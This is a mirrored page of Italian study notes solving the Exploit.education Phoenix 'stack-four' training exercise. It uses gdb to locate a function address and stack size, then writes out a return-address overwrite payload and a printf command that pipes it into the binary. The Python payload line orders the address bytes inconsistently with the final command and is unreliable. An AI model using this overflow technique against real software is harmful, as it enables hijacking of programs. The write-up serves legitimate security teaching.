1
Fork 0
mirror of https://github.com/Steffo99/appunti-magistrali.git synced 2024-11-24 11:14:18 +00:00
appunti-steffo/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/04 - stack-four.md
2023-09-21 02:46:23 +02:00

45 lines
1.3 KiB
Markdown

# [Stack Four](https://exploit.education/phoenix/stack-four/)
_Now here is when it gets hard._
Intanto, bisogna trovare l'indirizzo della funzione bersaglio.
Con `gdb` è facile:
```
(gdb) x complete_level
0x40061d
```
Impostando un breakpoint nella funzione `start_level`, è possibile iniziare a scuriosarci:
```
(gdb) break start_level
(gdb) run
(gdb) disassemble start_level
(gdb) step
...
```
Ricordando che `$rbp` e `$rsp` sono rispettivamente fondo e cima dello stack, possiamo determinare quanto padding dobbiamo mettere per romperlo:
```
(gdb) p $rbp-$rsp
0x50
```
Ricordandoci che in un architettura a 64-bit gli indirizzi sono 8 byte, creiamo un payload con:
- `0x50` bytes di padding per riempire lo stack
- `0x8` bytes di padding per sovrascrivere lo stack base pointer della funzione precedente
- `0x8` bytes con l'indirizzo della funzione a cui vogliamo tornare in ordine invertito:
```python
>>> 0x50 * b'a' + 0x8 * b'b' + b'\0\0\0\0\0\x1d\x06\x40'
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00\x00\x00\x00\x00
\x1d\x06@'
```
Passando questo payload prima a `printf`, poi a `stack-four`, otteniamo:
```bash
printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbb\x1d\x06@' | ./stack-four
```